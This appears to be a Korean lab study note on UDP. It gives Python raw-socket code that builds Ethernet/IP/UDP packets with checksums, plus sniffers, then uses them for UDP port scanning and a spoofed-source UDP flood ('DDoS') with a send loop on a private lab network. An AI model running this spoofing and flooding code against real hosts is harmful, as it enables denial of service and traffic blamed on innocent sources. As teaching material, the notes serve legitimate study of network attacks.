Layer 4 계층 : L4
▶ udp의 chksum 계산
pseudo=ip.src+ip.dst+b'\x00'+ip.type+udp.len+udp.get_header() udp.set_chksum(make_chksum(pseudo))
[ #vi udp.py ]
udp.py 접기
import struct
class Udp:
def __init__(self,data=None): if data !=None:
(self.src,)=struct.unpack('!H',data[:2]) (self.dst,)=struct.unpack('!H',data[2:4]) (self.len,)=struct.unpack('!H',data[4:6]) (self.chksum,)=struct.unpack('!H',data[6:8]) self.data=data[8:]
else:
self.src=b'\x00\x00' self.dst=b'\x00\x00' self.len=b'\x00\x00' self.chksum=b'\x00\x00' self.data=b''
def get_header(self): return self.src+self.dst+self.len+self.chksum+self.data
def set_src(self,src): self.src=struct.pack('!H',src) def set_dst(self,dst): self.dst=struct.pack('!H',dst) def set_len(self,len): self.len=struct.pack('!H',len) def set_chksum(self,chksum): self.chksum=struct.pack('!H',chksum) def set_data(self,data): self.data=data.encode()
접기
[ #vi raw_udp_client.py ]
udping.py 접기
from socket import* import struct import ip as _ip import udp as _udp import eth as _eth
def make_chksum(header): size =len(header) if (size %2) !=0: header=header+b'\x00' size=len(header) header=struct.unpack('!'+str(size//2)+'H',header) chksum=sum(header) carry=chksum & 0b_1111_1111_0000_0000_0000_0000 carry = chksum >>16
while carry !=0: chksum =chksum & 0b_0000_0000_1111_1111_1111_1111 chksum =chksum +carry carry=chksum & 0b_1111_1111_0000_0000_0000_0000 carry = chksum >> 16 chksum = chksum ^ 0b_1111_1111_1111_1111 return chksum
ip=_ip.Ip() eth=_eth.Eth() udp=_udp.Udp()
ip.set_ver(4) ip.set_len(20) ip.set_total_len(20+len(udp.get_header())) ip.set_id(1234) ip.set_type(17) # 17 : udp 타입 번호 ip.set_ttl(64) ip.set_flag(0b_000) ip.set_offset(0) ip.set_chksum(0) ip.set_src('192.168.219.106') ip.set_dst('192.168.219.180') ip.set_chksum(make_chksum(ip.get_header()))
udp.set_src(12345)
udp.set_dst(10000) udp.set_chksum(0) udp.set_data('hello,python')
udp.set_len(len(udp.get_header()))
pseudo=ip.src+ip.dst+b'\x00'+ip.type+udp.len+udp.get_header() udp.set_chksum(make_chksum(pseudo))
eth.set_dst('00:0c:29:52:30:da') eth.set_src('00:0c:29:fb:2e:6f') eth.set_type(0x0800)
sock=socket(AF_PACKET,SOCK_RAW) sock.bind(('eth0',SOCK_RAW))
sock.send(eth.get_header()+ip.get_header()+udp.get_header())
접기
[ #vi udp_server.py ]
udp_server.py 접기
import socket
server_sock = socket.socket( socket.AF_INET, socket.SOCK_DGRAM ) server_sock.bind( ('192.168.219.180', 10000))
# 아이피 / 포트 번호
data = server_sock.recvfrom(65535) print(data)
접기
[ 실행 결과 ]
1) 192.168.219.180 에서 python3 udp_server.py 의 파일을 킨다
2) 192.168.219.106 에서 python3 raw_udp_client.py 파일을 실행시킨다
3) udp_server.py를 실행 시킨 180 서버에서 보낸데이터 hellp,python 아이피, 포트번호를 확인 할 수 있다
>>udp 헤더만을 이용해서 사용하는 공격기법<<
▶ udp 는 포트번호 가지고 있음
1. 포트 스캐닝
#netstat -ant <<tcp 확인 vi /etc/services #netstat =anu <<udp 확인
udp 헤더만을 가지고 타켓의 포트가 뭘 사용하는지 알수 있다 - 불법적인 행위
udp.set_dst(1) 번이라고 넣었을 때 응답이 type :3 번으로 온다 ping은 아니라는 것을 알수 있다 udp.set_dst(1000)포트가 열려있을 때는 응답이 돌아오지 않는다 == 응답이 돌아오지 않는다고 해서 모든 포트가 열러있는 것은 아니다
1) raw_udp_client 에서 포트번호를 아무거나 입력 했을 떄
[ #vi sniffer.py ]
sniffer.py 접기
import socket import struct import time import ip as _ip import eth as _eth import udp as _udp
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) sock.bind(('eth0', socket.SOCK_RAW))
while(True): (raw,_) = sock.recvfrom(65535)
eth=_eth.Eth(raw[:14]) if eth.type=='0x0800': ip=_ip.Ip(raw[14:34]) if ip.type == 1 : print('src:{:s} -> dst:{:s} '.format(eth.src,eth.dst)) print('src:{:s} -> dst:{:s} ,type:{:d}'.format(ip.src,ip.dst,ip.type)) (type,)=struct.unpack('!B', raw[34:35]) (code,)=struct.unpack('!B', raw[35:36]) print('type:{:d}, code:{:d}'.format(type,code)) if ip.type==17: udp=_udp.Udp(raw[34:]) print('src:{:s} -> dst:{:s} '.format(eth.src,eth.dst)) print('src:{:s} -> dst:{:s} ,type:{:d}'.format(ip.src,ip.dst,ip.type)) print('src:{:d} -> dst:{:d}'.format(udp.src,udp.dst))
접기
[ # vi raw_udp_client .py ]
udp.set_dst(10)
-> 임의로 아무 포트번호 입력
>> type :3 으로 응답이 옴 (ping 이 아니라는 것을 알 수 있음 )
2) raw_udp_client에서 열려있는 포트번호를 입력했을 때
udp.set_dst(10000)
--> 응답이 안옴
--> 주의 : 응답이 오지 않는다고 모두 열려있는 포트는 아님
ex) 네이버와 다음에 ping을 보내면 응답은 오지 않지만 죽은 서버는 아님 ''
2. DDoS
-UDP Flodding -IP Spoofing - 특정 서버를 타겟으로 두지 않는다 - 네트워크 대역폭을 타겟으로한다 (특정서버가 타겟이아님)
attacker : 192.168.219.102 victim1: 192.168.219.180 (도착지) victim2 : 192.168.219.106 (출발지)
---> 180로 보내는 트레픽을 106 ( sniffer.py ) 에서 180->106 으로 가는 에러메세지가 나타난다
1)
192.168.219.102 서버 안에서
ip출발지와 도착지, eth 의 맥 어드레스를 설정해 준다
[ #vi raw_udp_client.py ]
raw_udp_client.py 접기
from socket import* from eth import* from ip import* from udp import*
def make_chksum(header):
size=len(header) if (size %2) !=0 : header=header+b'\x00' size=len(header)
header=struct.unpack('!'+str(size//2)+'H',header) chksum=sum(header)
carry=chksum & 0b_1111_1111_0000_0000_0000_0000 carry = chksum >> 16
while carry !=0: chksum =chksum & 0b_0000_0000_1111_1111_1111_1111 chksum =chksum +carry carry=chksum & 0b_1111_1111_0000_0000_0000_0000 carry = chksum >> 16 chksum =chksum ^ 0b_1111_1111_1111_1111 return chksum
sock = socket(AF_PACKET,SOCK_RAW) sock.bind(('eth0',SOCK_RAW))
eth=Eth() ip=Ip() udp=Udp()
udp.set_src(12345) udp.set_dst(1234) udp.set_chksum(0) udp.set_data('hello,python') udp.set_len(len(udp.get_header()))
ip.set_ver(4) ip.set_len(20) ip.set_total_len(len(udp.get_header())+20) ip.set_id(0) ip.set_type(17) ip.set_ttl(64) ip.set_flag(0) ip.set_offset(0) ip.set_chksum(0) ip.set_src('192.168.219.106') ip.set_dst('192.168.219.180')
ip.set_chksum(make_chksum(ip.get_header()))
eth.set_dst('00:0c:29:52:30:da') eth.set_src('00:0c:29:fb:2e:6f') eth.set_type(0x0800)
pseudo=ip.src+ip.dst+b'\x00'+ ip.type+udp.len+udp.get_header() udp.set_chksum(make_chksum(pseudo))
sock.send(eth.get_header()+ip.get_header()+udp.get_header())
접기
2)
106 서버 : python3 sniffer2.py 파일을 틀고
102 서버 : python3 raw_udp_client.py 보낸다
[ #vi sniffer2.py ]
sniffer2.py 접기
import socket import struct import time
import ip as _ip import eth as _eth import udp as _udp
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) sock.bind(('eth0', socket.SOCK_RAW))
while(True): (raw,_) = sock.recvfrom(65535)
eth=_eth.Eth(raw[:14]) if eth.type=='0x0800': #(eth.dst=='00:0c:29:52:30:da'or eth.src=='00:0c:29:52:30:da '): ip=_ip.Ip(raw[14:34])
if ip.type == 1 and (ip.dst=='192.168.219.180' or ip.src=='192.168.219.180'): print('src:{:s} -> dst:{:s} '.format(eth.src,eth.dst)) print('src:{:s} -> dst:{:s} ,type:{:d}'.format(ip.src,ip.dst,ip.type)) (type,)=struct.unpack('!B', raw[34:35]) (code,)=struct.unpack('!B', raw[35:36]) print('type:{:d}, code:{:d}'.format(type,code)) if ip.type==17: udp=_udp.Udp(raw[34:]) print('src:{:s} -> dst:{:s} '.format(eth.src,eth.dst)) print('src:{:s} -> dst:{:s} ,type:{:d}'.format(ip.src,ip.dst,ip.type)) print('src:{:d} -> dst:{:d}'.format(udp.src,udp.dst))
접기
>>실행 결과
>> Hacker 가 106에서 180 으로 보내는 트레픽을 보내면 Hacker의 sniffer.py 에서 106->180으로 보내는 정보가 뜨고 udp.dst_port번호가 열려있는 포트번호가 아니기 떄문에 출발지인 106의 sniffer.py 에 180에서 보내는 오류 메세지가 뜬다
>> 계속 돌아가게 만드는 방법
# vi raw_udp_client.py
while True:
sock.send(eth.get_header()+ip.get_header()+udp.get_header())
time.sleep(1) # 과부하가 걸릴수 있기 떄문에 time.sleep으로 보내줘야함